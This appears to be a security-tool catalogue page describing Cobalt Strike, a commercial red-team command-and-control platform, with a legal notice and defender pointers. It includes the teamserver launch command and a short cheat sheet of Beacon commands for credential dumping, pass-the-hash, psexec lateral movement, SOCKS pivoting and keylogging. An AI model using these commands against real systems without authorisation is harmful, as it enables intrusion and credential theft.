← Back to Tools
Exploitation

Cobalt Strike

Commercial adversary simulation software used for red team operations.

Category
Exploitation
Platform
Windows / Linux
Type
GUI + CLI / Commercial
Skill Level
Advanced

What is Cobalt Strike?

Cobalt Strike is a commercial adversary simulation and red team operations platform developed by Fortra (formerly HelpSystems). It allows security professionals to emulate the tactics, techniques, and procedures (TTPs) of real-world threat actors. Its core component, the Beacon payload, provides a stealthy, feature-rich implant for post-exploitation — supporting command execution, lateral movement, privilege escalation, credential theft, and C2 (command-and-control) communication over HTTP, HTTPS, DNS, and SMB.

Cobalt Strike is licensed software intended exclusively for professional red team engagements. It is widely misused by actual threat actors, which makes understanding it critical for both offensive security testers and defenders analyzing intrusions.

⚠ Legal Notice

Only use on systems you own or have explicit written permission to test. Unauthorized use violates Pakistan's PECA 2016 and international cybercrime laws. Using cracked or unlicensed versions is both illegal and dangerous.

Architecture Overview

# Cobalt Strike runs as a client/server model:
#
#  [Team Server] ← runs on Linux VPS, handles all C2 traffic
#       ↕  (HTTPS / DNS / SMB)
#  [Beacon]      ← implant running on compromised host
#       ↕
#  [CS Client]   ← GUI operator connects to Team Server

# Start the Team Server (on your C2 Linux host)
./teamserver [IP] [password] [malleable-c2-profile]

# Connect Cobalt Strike GUI client to Team Server
# Host: your VPS IP
# Port: 50050 (default)
# Password: set during teamserver launch

Core Concepts

Common Post-Exploitation Tasks

# Inside a Beacon session (run via the CS GUI or sleep console):

# Gather system info
shell whoami /all
shell ipconfig /all

# Dump credentials from memory
hashdump
logonpasswords   # via mimikatz integration

# Lateral movement via pass-the-hash
pth [DOMAIN\user] [NTLM hash]

# Spawn a new Beacon on a remote host (SMB pivot)
jump psexec [target] [listener]

# Port forwarding / SOCKS proxy
socks 1080

# Screenshot and keylogger
screenshot
keylogger

Common Use Cases

Further Reading

Cobalt Strike requires a commercial license from Fortra. Study the official documentation and the Malleable C2 profile repository on GitHub to understand evasion techniques. Defenders should study CS beacon IOCs to improve detection rules in SIEM platforms. Practice red team concepts on legal platforms like TryHackMe, HackTheBox, or hackzia.site labs.